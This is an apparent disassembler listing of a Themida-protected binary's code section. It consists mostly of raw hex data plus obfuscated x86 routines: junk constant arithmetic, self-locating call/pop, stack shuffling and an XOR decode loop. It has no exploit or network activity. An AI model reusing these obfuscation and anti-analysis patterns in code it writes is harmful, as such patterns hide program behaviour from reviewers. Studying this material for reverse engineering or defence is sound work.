		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0DABE4BC3h, 5F86400Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0C3C35141h,	0CF70F089h, 5B9550E2h
		dd 113D8D89h, 0BD8906A6h, 6A64EC0h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 18C35343h, 85297CD5h, 6A61111h
		dd 26058D8Dh, 0EE906A6h, 0B2000000h, 9BD4253Ch,	518347DAh
		dd 0B06021BAh, 0F5B5FF66h, 6A06A61Eh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0ADC2C350h
		dd 66C33FBFh, 585299Ch,	8D06A60Ch, 0A89F3C85h, 0BD8D5006h
		dd 6A65636h, 6FD18D8Dh,	0BCB806A6h, 2B54831Ah, 0D00730CFh
		dd 754947C8h, 1BB58DF8h, 8D06A66Fh, 0A66FE98Dh,	0F3CF2B06h
		dd 0B8C933A4h, 0
		dd 4674C00Bh, 1245BD83h, 740006A6h, 9195FF06h, 8B06A62Ah
		dd 0A64EC0B5h, 3C858D06h, 0FF06A89Fh, 1D858DD0h, 0FF06A643h
		dd 0DD85C7D0h, 106A631h, 8B000000h, 0A6162DA5h,	21B58B06h
		dd 8B06A601h, 0A62975ADh, 0C2C03306h, 958B000Ch, 6A60691h
		dd 1BBCC381h, 8166120Ch, 833B0FCAh, 0A61CC5BDh,	840F0006h
		dd 52h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h
		dd 1C35242h, 81477EC7h,	0F349AADAh, 0ED95FF46h,	6A06A607h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 1F6BC355h, 0A7004B2Bh, 0F6B51A2h,	0BD83D9B7h
		dd 6A62C85h, 54850F00h,	6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0CBC2C355h
		dd 0F092B60Eh, 89BEFC63h, 0A6160195h, 51BD8306h, 106A614h
		dd 11D850Fh, 0BF0F0000h, 83F38AD2h, 0A62185BDh,	840F0006h
		dd 10Bh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 17h,	64C35040h, 663FD063h, 0C027EB81h, 4F13BD83h, 0F0006A6h
		dd 0DA84h, 0C99D3100h, 8D06A628h, 0A89F3C85h, 8880F06h
		dd 53000000h, 186D958Bh, 8B5A06A6h, 0A64EC0B5h,	8BD78006h
		dd 0CBB7D0FFh, 0C2985C6h, 8B5406A6h, 0A61E4595h, 0B04C6806h
		dd 0F609A43h, 280h, 50616000h, 6E852h, 3B4E0000h, 0D6E2CD43h
		dd 60310F59h, 61585A61h, 0B8243481h, 0F650D0Eh,	38Dh, 0D08B6600h
		dd 7E9h, 6BAA8200h, 0A96FE0DDh,	2F8DB5FFh, 0C68006A6h
		dd 9D29607Eh, 6A63145h,	0EFEE8166h, 858D6135h, 6A63AC3h
		dd 0D0FFF58Ah, 9019D89h, 6A06A6h, 1D519D8Bh, 0FF6A06A6h
		dd 8F0FD0FFh, 8, 219D8957h, 5A06A60Eh, 2691B5FFh, 8D2906A6h
		dd 6A60889h, 1EF595FFh,	0FE806A6h, 0EE000000h, 34EF1E78h
		dd 139BBBC7h, 0C941669Eh, 8B5BC6AEh, 0A64EC0B5h, 8D958906h
		dd 6606A61Ah, 0EA34CA81h, 3810FC3h, 80000000h, 0B58B41EFh
		dd 6A61841h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	4C35646h, 2189D248h, 0C2A0B295h, 0AD9D0377h, 8106A632h
		dd 0A3E61BEAh, 0FF60B49h, 0D84h, 0E19D8900h, 0C606A604h
		dd 0BB660006h, 85890C06h, 6A64EC8h, 1851B589h, 0F88306A6h
		dd 0AC840F00h, 6A000003h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0E498C350h,	0A77F94EAh
		dd 0DE8AC4Bh, 78000000h, 0D1ED2C58h, 66D76F2Eh,	0F84C81B8h
		dd 5A51B750h, 0B85Bh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 7240B8C3h, 0F88396h
		dd 0D8840Fh, 88BA0000h,	831DA634h, 850F02F8h, 96h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9BC35545h, 892B95A0h
		dd 7568608h, 3235958Bh,	858D06A6h, 6A64543h, 2B21958Bh
		dd 292D06A6h, 6A000009h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 29FFC352h, 8A0F574Fh
		dd 6, 4DB0D381h, 50906E66h, 10E952h, 14570000h,	291AE398h
		dd 77DCFE5Ch, 0DDE58530h, 310F514Ah, 0F525056h,	5A585A31h
		dd 6050585Ah, 52F08B66h, 0B790615Bh, 0B8C344h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 792EC356h, 8D31A86Fh, 6A60AC9h, 70E9D68Bh
		dd 80000002h, 1B863EBh,	89000000h, 0A62D719Dh, 48BD8D06h
		dd 8B06A645h, 0A6085195h, 11CE906h, 0C7BA0000h,	0E947EB5Fh
		dd 0Ch,	90AEEB67h, 818E1E49h, 9783CD4Ah, 0F02F883h, 5285h
		dd 0BD8DF900h, 6A64740h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 27C35646h, 0EAFCCF2Ah, 0E921F7FCh, 0CEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7AC35747h
		dd 819589ECh, 8306A62Fh, 850F03F8h, 59h, 2E3D8D89h, 13E906A6h
		dd 61000000h, 3BE57345h, 7D9D9930h, 0D4C7076Dh,	0C37F10FDh
		dd 0BD8D3526h, 6A648D4h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0CBC35141h, 199D8960h, 8106A62Bh, 0D41487D1h
		dd 4FE9612Dh, 8B000000h, 0A6067195h, 5F88306h, 40850Fh
		dd 0FE90000h, 0D7000000h, 7475FF9Bh, 0B1867D4Ch, 5A5EE4FCh
		dd 16E9347Dh, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0BEF7C356h,	0CB3244EEh
		dd 678B181Eh, 6657DA8Bh, 5FB2DA8Bh, 515582B9h, 53006A7Dh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 1BBB07A1h, 8304E425h, 840F003Fh, 0B9h, 12E8h, 4410FC00h
		dd 0BD6273ECh, 181885E5h, 7D1CBE35h, 0E8DB6C56h, 10h, 1228296Eh
		dd 2871F593h, 8076D58Ah, 0ACA70A2Bh, 5E8h, 9805FC00h, 5A5BDCCAh
		dd 0E80F305Bh, 10h, 0EAFFCACDh,	0D4E6BDBDh, 0AC4BC82h
		dd 0EF3B6A1Ah, 1501BD01h, 505B06A6h, 5B03C380h,	6AC9D1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BD3324C3h, 9B85E6CCh, 89A6B875h, 0A62DF1B5h, 47E9B606h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 56C35545h
		dd 0D99B589h, 44E906A6h, 89FFFFFFh, 0A60B0185h,	5F88306h
		dd 3D850Fh, 9D030000h, 6A60909h, 89D98C66h, 0A6331995h
		dd 4C1F606h, 15850Fh, 81660000h, 0B8BDB2C2h, 0
		dd 0E95BF853h, 13h, 8B1CD780h, 0A62FDD85h, 9F3BBA06h, 0E0FF36C5h
		dd 83DFBF0Fh, 0A61EF5BDh, 850F0006h, 0B6h, 8950F18Ah, 85C62404h
		dd 6A60C29h, 53006A45h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0D125A3C0h, 0B0744868h, 8181B236h
		dd 0F5212404h, 858957C1h, 6A60889h, 2F8DB5FFh, 858D06A6h
		dd 6A63AC3h, 99D8B60h, 906A608h, 0A62F798Dh, 85896106h
		dd 6A6134Dh, 0BF0FD0FFh, 0F58589DFh, 6A06A61Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 3237C352h, 0DD11F76Ch, 7E9h,	0E933D00h, 2FD394EEh, 13E958h
		dd 203E0000h, 5C529BCCh, 0BD760859h, 1C861ED1h,	2625A6A5h
		dd 0CA8166F7h, 0BD833F25h, 6A64F17h, 24840F00h,	80000000h
		dd 0B5FF81C3h, 6A62691h, 0FFCBC280h, 0A61EF595h, 0D958B06h
		dd 0F06A62Bh, 687h, 0F19D8B00h,	8306A62Ah, 850F00F8h, 0F8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4BC35747h
		dd 858960B8h, 6A62B61h,	1B418D09h, 836106A6h, 0A63259BDh
		dd 840F0006h, 8Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 26C35242h, 0FAD371CEh, 0DF0735D3h, 3259B5FFh
		dd 0EE906A6h, 1E000000h, 3DD322DEh, 0F0B1329Ah,	5AAC4E48h
		dd 1B813h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0AC01BAC3h, 159D8BD7h, 0E906A61Eh
		dd 16Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 16h,	15C35646h, 0FFF97E12h, 0A62691B5h, 71958B06h, 106A61Fh
		dd 0A6067185h, 91B5FF06h, 5106A626h, 0AD59D8Bh,	0FF5A06A6h
		dd 0A61EF5B5h, 819D8B06h, 0E906A608h, 11Dh, 0DB9BB66h
		dd 13E95Fh, 0F5840000h,	0DC85E1BCh, 92CF424h, 771C18B9h
		dd 930E5EF0h, 0B1BD83D1h, 6A60Ah, 7B850Fh, 0D08B0000h
		dd 0C2985C6h, 0BA4D06A6h, 3A50AB81h, 0DA382168h, 0D78B6687h
		dd 89243481h, 6A23EF4Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0B6DFC353h,	5B5FF40h
		dd 8B06A633h, 0A60C0D9Dh, 0C3858D06h, 8906A63Ah, 0A62CE585h
		dd 0A1952306h, 0FF06A621h, 0D98B66D0h, 6E8h, 3D341D00h
		dd 890AC9C5h, 0A60E69BDh, 85895B06h, 6A60AB1h, 6DB34DBBh
		dd 0B878h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 862BACC3h, 0F6BA66C7h, 0C0BD891Ah
		dd 8906A64Eh, 0A60E5D95h, 0FC00B06h, 1384h, 0E9B0B300h
		dd 35h,	32E59D89h, 9D8906A6h, 6A60521h,	1EF5B5FFh, 8B0F06A6h
		dd 5, 7AEA6BBh,	3C858D5Dh, 8906A89Fh, 0A62E4585h, 0DA8A5006h
		dd 89240489h, 0A60E618Dh, 8D565006h, 0A65636BDh, 568D8D06h
		dd 0B806A679h, 748323BCh, 730CF2Bh, 4947C8D0h, 585EF875h
		dd 3259BD83h, 740006A6h, 418D8B06h, 3306A619h, 0B8C9h
		dd 0C00B0000h, 0A8840Fh, 0BD830000h, 6A61245h, 0FF067400h
		dd 0A62A9195h, 0B806h, 0C00B0000h, 0BD830975h, 6A64EC8h
		dd 83097401h, 0A64EC8BDh, 0E750206h, 4EC0B58Bh,	858D06A6h
		dd 6A89F3Ch, 0BD83D0FFh, 6A61CC5h, 0FF067400h, 0A607ED95h
		dd 1D858D06h, 0FF06A643h, 0D1BD83D0h, 206A631h,	0A58B2F75h
		dd 6A6162Dh, 3259858Bh,	48906A6h, 0DD85C724h, 106A631h
		dd 8B000000h, 0A64EC4B5h, 75AD8B06h, 0B806A629h, 1, 0EB000CC2h
		dd 0DD85C700h, 106A631h, 8B000000h, 0A6162DA5h,	21B58B06h
		dd 8B06A601h, 0A62975ADh, 0C2C03306h, 0BD83000Ch, 6A61CC5h
		dd 830F7400h, 0A607EDBDh, 6740006h, 7ED95FFh, 0B58B06A6h
		dd 6A64EC0h, 0BF0FF9C3h, 66D22BD1h
		db 0BAh, 88h, 62h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_55247B
; ---------------------------------------------------------------------------


loc_552479:				; CODE XREF: Themida_:0055247Ej
		inc	eax
		inc	edi


loc_55247B:				; CODE XREF: Themida_:00552477j
		cmp	byte ptr [edi],	0
		jnz	short loc_552479
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5524AA
; ---------------------------------------------------------------------------


loc_552487:				; CODE XREF: Themida_:005524ACj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_55249F
; ---------------------------------------------------------------------------


loc_55249C:				; CODE XREF: Themida_:005524A2j
		mul	ebx
		dec	esi


loc_55249F:				; CODE XREF: Themida_:0055249Aj
		cmp	esi, 0
		ja	short loc_55249C
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5524AA:				; CODE XREF: Themida_:00552485j
		or	eax, eax
		jnz	short loc_552487
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 1BC35141h
		dd 163D9589h, 958906A6h, 6A61945h, 0BAE9C18Bh, 1A00021Ah
		dd 0F8005C9Ch, 5CB6h, 0F8000000h, 6C005CB6h, 280012FFh
		dd 3F025B00h, 2025B00h,	2000002h, 2 dup(1000000h), 1C000000h
		dd 0F9AEAAh, 4 dup(0)
		dd 0FF000000h, 0F0055C0h, 0D200555Ah, 0A00557Fh, 2F0055D1h
		dd 21005568h, 7C005576h, 0A20055E0h, 0A60055D1h, 30005553h
		dd 30055B0h, 0FB0055ABh, 290055D4h, 10005565h, 540055D2h
		dd 0FF00553Eh, 9D0055C3h, 0DE00553Ch, 5E005548h, 36005592h
		dd 0C0055E3h, 660055B1h, 42005530h, 0B2005590h,	2F005574h
		dd 8300554Bh, 0C0055A1h, 0B300557Ah, 0F40055A3h, 0B600552Eh
		dd 5C005533h, 90005557h, 0F80055DCh, 16005535h,	4700554Dh
		dd 9B0055B7h, 0F60055C3h, 57005547h, 700055ADh,	0B60055E4h
		dd 0C9005587h, 0F50055C5h, 5A00556Bh, 130055ACh, 1005539h
		dd 2F0055C3h, 8C005585h, 6F005552h, 5700552Ah, 0A9005538h
		dd 0F8005597h, 0AA005560h, 96005583h, 8F00552Ch, 720055C3h
		dd 5600554Dh, 0A6005548h, 2700552Fh, 9E00559Ah,	0BB005570h
		dd 4C00556Fh, 0E100555Dh, 70055D7h, 10055C0h, 7005560h
		dd 3C005541h, 0F40055DFh, 0FE005587h, 300055CAh, 4D0055BCh
		dd 0BB005569h, 5A0055BFh, 0F800559Ah, 0B800557Ah, 190055B4h
		dd 99005584h, 3A005532h, 580055CFh, 160055C1h, 0AD0055D5h
		dd 780055A9h, 6700557Eh, 0A3005551h, 0B800559Ch, 0B90055D3h
		dd 0D8005593h, 0F4005590h, 8F005559h, 7400553Ah, 0AE005584h
		dd 8900554Eh, 55005564h, 9600557Ch, 23005538h, 68005530h
		dd 96005534h, 9E00557Ah, 660055DEh, 0C30055A3h,	78005586h
		dd 8B005556h, 250055B3h, 0DD0055A3h, 400055D6h,	7005540h
		dd 0B000559Ah, 1800558Eh, 7B0055E4h, 670055C0h,	630055A6h
		dd 55005570h, 9900553Dh, 0AF0055D1h, 0AA0055B8h, 5C0055B6h
		dd 9A00557Bh, 290055C4h, 330055ACh, 510055A8h, 0B4005535h
		dd 25005552h, 9B005560h, 0B20055A2h, 0FA0055ACh, 3F005588h
		dd 960055E0h, 0F00055C8h, 1700554Ch, 5100558Bh,	3E0055E6h
		dd 0D800559Bh, 0B20055DDh, 8400553Fh, 67005530h, 3E005548h
		dd 25005546h, 200055B9h, 0F005568h, 0C7005572h,	0F90055B4h
		dd 0FC00558Dh, 0E60055D5h, 0DF0055C2h, 47005587h, 54005554h
		dd 3C0055C4h, 6900557Fh, 0D20055B7h, 0C4005549h, 0A100557Ah
		dd 0AF0055D0h, 0B0055B4h, 64005560h, 0C000559Fh, 2B005536h
		dd 4F00554Ah, 8F00553Ch, 84005570h, 0A700555Ah,	2400554Ch
		dd 0B900553Eh, 0EF005584h, 4C005594h, 0C3005595h, 0A90055A2h
		dd 880055D1h, 0C9005547h
		db 7Fh,	55h, 0
; ---------------------------------------------------------------------------


loc_5527C7:				; CODE XREF: Themida_:0057EDBFj
					; Themida_:005816C6j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6A67DB3h
		mov	eax, edi
		add	edi, 6A67ACBh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5527E5
		jmp	short loc_5527F8
; ---------------------------------------------------------------------------


loc_5527E5:				; CODE XREF: Themida_:005527E1j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5527F4
; ---------------------------------------------------------------------------


loc_5527EF:				; CODE XREF: Themida_:005527F6j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5527F4:				; CODE XREF: Themida_:005527EDj
		or	ecx, ecx
		jnz	short loc_5527EF


loc_5527F8:				; CODE XREF: Themida_:005527E3j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_552805:				; CODE XREF: Themida_:0055280Cj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_552805


loc_55280E:				; CODE XREF: Themida_:loc_555387j
					; Themida_:0055670Dj ...
		lodsb
		xor	al, bl
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 524244A1h
		sub	ecx, 3DC101A1h
		dec	ecx
		add	ecx, 31BB7321h
		sub	ecx, 463CB61Ch
		add	edi, 3C0D5B90h
		jmp	loc_55D81F
; ---------------------------------------------------------------------------
		dd 4C381h, 0EB830000h, 241C8704h, 13A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_552849:				; CODE XREF: Themida_:0055B023j
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		add	dword ptr [esp+4], 0ECD6BD8h
		jmp	loc_555F2D
; ---------------------------------------------------------------------------


loc_55286D:				; CODE XREF: Themida_:005543CFj
		push	edx
		mov	edx, 0C71403h
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55B006
; ---------------------------------------------------------------------------


loc_552883:				; CODE XREF: Themida_:0055E353j
		mov	ebx, edx
		pop	edx
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_559C1D
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 1000000h, 4EC81F8h, 0E9000000h, 7165h
; ---------------------------------------------------------------------------


loc_5528AC:				; CODE XREF: Themida_:00552E5Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	564Bh
		mov	[esp], eax
		jmp	loc_557C00
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 0E9h
		dd 0C17h
; ---------------------------------------------------------------------------


loc_5528D4:				; CODE XREF: Themida_:0055D416j
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_55AA73
; ---------------------------------------------------------------------------


loc_5528DD:				; CODE XREF: Themida_:0055DF58j
		add	esi, 731D022Ch
		not	esi
		and	esi, 42B92E3Ah
		or	esi, 7C2E672Ch
		add	esi, 0FFFFFFFFh
		sub	esi, 53B85A3Ah
		sub	edi, esi
		pop	esi
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	7F71h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 76980AA0h
		add	edi, 76087305h
		and	edi, 6A666EBh
		neg	edi
		xor	edi, 0B8D7BF9Ch
		xor	[esp+4], edi
		jmp	loc_5577FF
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 1704EE81h, 0D1E941ABh, 0BB000062h, 47A910AAh, 0E958C331h
		dd 58E8h, 0C980D9F6h, 80D9F6D8h, 0B05037F1h, 1CB25203h
		dd 533EE280h, 0B4E913B7h, 0F700003Bh, 0C3814BD3h, 42901518h
		dd 1A33EB81h, 0D90143BAh, 4FB8505Bh, 0E964E72Ch, 0B744h
		dd 0D02CE828h, 0F6E9C92Ch
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5529B3:				; CODE XREF: Themida_:0055CEA6j
		mov	[esp], ebx
		mov	ebx, ecx
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556F24
; ---------------------------------------------------------------------------


loc_5529C5:				; CODE XREF: Themida_:00554158j
		pop	edi
		jmp	loc_55AEF9
; ---------------------------------------------------------------------------
		db 89h
		dd 14F7241Ch, 2434FF24h, 2F8FE9h, 78BA5200h, 0D113D322h
		dd 0E2814AEAh, 7A407E48h, 0E907E2C1h, 1F7h, 0FFFE19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5529F5:				; CODE XREF: Themida_:0055AFF7j
		pop	esi
		add	esi, 107E2EE8h
		pop	ecx
		add	ecx, esi
		pop	esi
		mov	edx, ecx
		pop	ecx


loc_552A03:				; CODE XREF: Themida_:00554E04j
					; Themida_:00556514j
		push	16CBh
		mov	[esp], ebx
		push	esi
		mov	esi, 6E831F0h
		push	75FCh
		mov	[esp], esi
		jmp	loc_5562D5
; ---------------------------------------------------------------------------


loc_552A1E:				; CODE XREF: Themida_:00555574j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_553D2C
; ---------------------------------------------------------------------------


loc_552A2F:				; CODE XREF: Themida_:0055681Bj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		push	ecx
		push	78935919h
		pop	ecx
		add	ecx, 51E579D8h
		and	ecx, 2E497ABAh
		and	ecx, 39EF2032h
		xor	ecx, 8480034h
		mov	eax, ecx
		pop	ecx
		add	ebx, eax
		jmp	loc_55BB2D
; ---------------------------------------------------------------------------


loc_552A65:				; CODE XREF: Themida_:0055A465j
		mov	eax, 0F8471F4Ch
		jmp	loc_55B19E
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 146Eh, 54240C89h,	4314E9h, 4B3C6800h, 7CE90000h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552A8B:				; CODE XREF: Themida_:00553EDFj
		pop	esi
		jmp	loc_557A59
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 0E9515AD6h, 2AADh
; ---------------------------------------------------------------------------


loc_552AA0:				; CODE XREF: Themida_:00557C40j
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_554CFC
; ---------------------------------------------------------------------------
		dd 48BC521h, 4C48124h, 0E9000000h, 5A15h, 1E97E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552ACA:				; CODE XREF: Themida_:0055B01Bj
		push	eax
		push	esi
		jmp	loc_555ABC
; ---------------------------------------------------------------------------
aZnsi		db 'ZNé›]',0
		align 4
		dd 51241489h, 0BAFBE9h,	66EB0000h, 0D6EB8059h, 2815EB80h
		dd 15C380C3h, 43E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_552AF5:				; CODE XREF: Themida_:0055B62Fj
		mov	[esp], edi
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edi
		jmp	loc_5537A0
; ---------------------------------------------------------------------------
		dd 33241431h, 525C2414h, 2EC81h, 89660000h, 7CB42404h
		dd 44E6E9h, 0B5516600h,	0A06DE970h, 68530000h, 6B6E5BB5h
		dd 0B4F3815Bh, 894DD97Ch, 4793E9DAh, 0C2810000h, 4, 5C241487h
		dd 8D1EE9h, 5D0F700h, 89657738h, 158C501h, 9CBF57D5h, 815D2A59h
		dd 7627C7F7h, 5EF8147h,	29EFB92Bh, 875A5FFDh, 665C242Ch
		dd 6824048Bh, 1B0Dh, 89243C89h,	352EE9E7h, 0B9510000h
		dd 67E75EBh, 0FDEEEBDh,	59CD292Bh, 98E9D5F7h, 30000076h
		dd 63E955D8h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552BB7:				; CODE XREF: Themida_:0055E4D5j
		xchg	edx, ebx
		xchg	ebp, ebx
		neg	ebp
		jmp	loc_55A6FD
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704EA83h, 0E95C2414h, 0AC1Bh, 408EBF57h,	0EFC13B3Fh
		dd 0C1DFF702h, 91E905E7h, 0C1000000h, 0C28107E2h, 31C06213h
		dd 95AD501h, 5373E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552BFA:				; CODE XREF: Themida_:0055E402j
		pop	dword ptr [esp]
		jmp	loc_55779B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2FE95304h, 830000A7h, 0B2E902C1h, 31000085h,	99E958C7h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552C1B:				; CODE XREF: Themida_:0055CA9Fj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]


loc_552C24:				; CODE XREF: Themida_:00556774j
					; Themida_:0055C01Dj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	73DAh
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 3EE5483Eh
		or	esi, 35225854h
		jmp	loc_55DE6F
; ---------------------------------------------------------------------------
		dd 0DBF74343h, 0C4E2F381h, 0B8508044h, 20552731h, 0E74B210Dh
		dd 5BED355Bh, 0C3210D1Eh, 8124048Bh, 4C4h, 6AC38100h, 0E93B8B54h
		dd 39EAh, 149BC781h, 0C7817C1Eh, 0C1775A58h, 3C8BFD29h
		dd 4C48124h, 1000000h, 0B67DE9C5h, 8B660000h, 23682404h
		dd 0E900007Bh, 4683h
; ---------------------------------------------------------------------------


loc_552CA4:				; CODE XREF: Themida_:00558E45j
		add	esp, 4
		add	esi, 4
		push	1204h
		mov	[esp], edx
		mov	edx, 4
		sub	esi, 515D4724h
		add	esi, edx
		add	esi, 515D4724h
		pop	edx
		jmp	loc_553B78
; ---------------------------------------------------------------------------


loc_552CD1:				; CODE XREF: Themida_:00554132j
		add	esp, 4
		add	esp, 4
		jmp	loc_556958
; ---------------------------------------------------------------------------
		dd 0E95AD331h, 35Ah, 73768h, 82ACE900h,	0BE560000h, 4
		dd 20DE9h
		db 0
; ---------------------------------------------------------------------------


loc_552CF9:				; CODE XREF: Themida_:0055A228j
		push	ecx
		mov	ecx, 77061E4Ch
		mov	ebx, 77061E50h
		sub	ebx, ecx
		pop	ecx
		mov	ebp, ebx
		pop	ebx
		and	ecx, ebp
		mov	ebp, [esp]
		push	ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_553A6B
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704C3h, 48F5C24h, 24248B24h, 45E068h
		dd 241C8900h, 11C2E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552D3A:				; CODE XREF: Themida_:00555AD1j
		push	edi
		jmp	loc_556106
; ---------------------------------------------------------------------------
		dd 6DFC581h, 0ED81503Fh, 3B316728h, 0F703EDC1h,	38ED81DDh
		dd 810E610Ah, 0F78F33C5h, 4416E976h, 0EA830000h, 24148704h
		dd 49A3E95Ch, 525A0000h, 22ADE9h, 9C506600h, 0FFFA91E9h
		dd 0BB0F66FFh, 0E99C2404h, 0FFFFFA86h, 71068h, 240C8900h
		dd 7B240AB9h, 0E8BD5570h, 0E90A6854h, 5253h, 4BE56h, 0F0010000h
		dd 4E8835Eh, 8B240487h,	0E92424h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552DB7:				; CODE XREF: Themida_:005565D6j
		xchg	ebp, [esp]
		jmp	loc_557EEC
; ---------------------------------------------------------------------------
		db 80h
		dd 0C38074EBh, 0DFEB8074h, 0F4E9C328h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552DCF:				; CODE XREF: Themida_:005573B2j
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_55CEF9
; ---------------------------------------------------------------------------


loc_552DD8:				; CODE XREF: Themida_:00556241j
					; Themida_:00558FE2j ...
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_553820
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4BD55h, 6C010000h, 0E95D0424h, 0FFFFFA12h, 565DE909h
		dd 4ED9E9h, 68665B00h, 896624F9h, 0EEB5240Ch, 8B66E830h
		dd 2AE9240Ch, 660000B0h, 0FAB96651h, 381BE931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


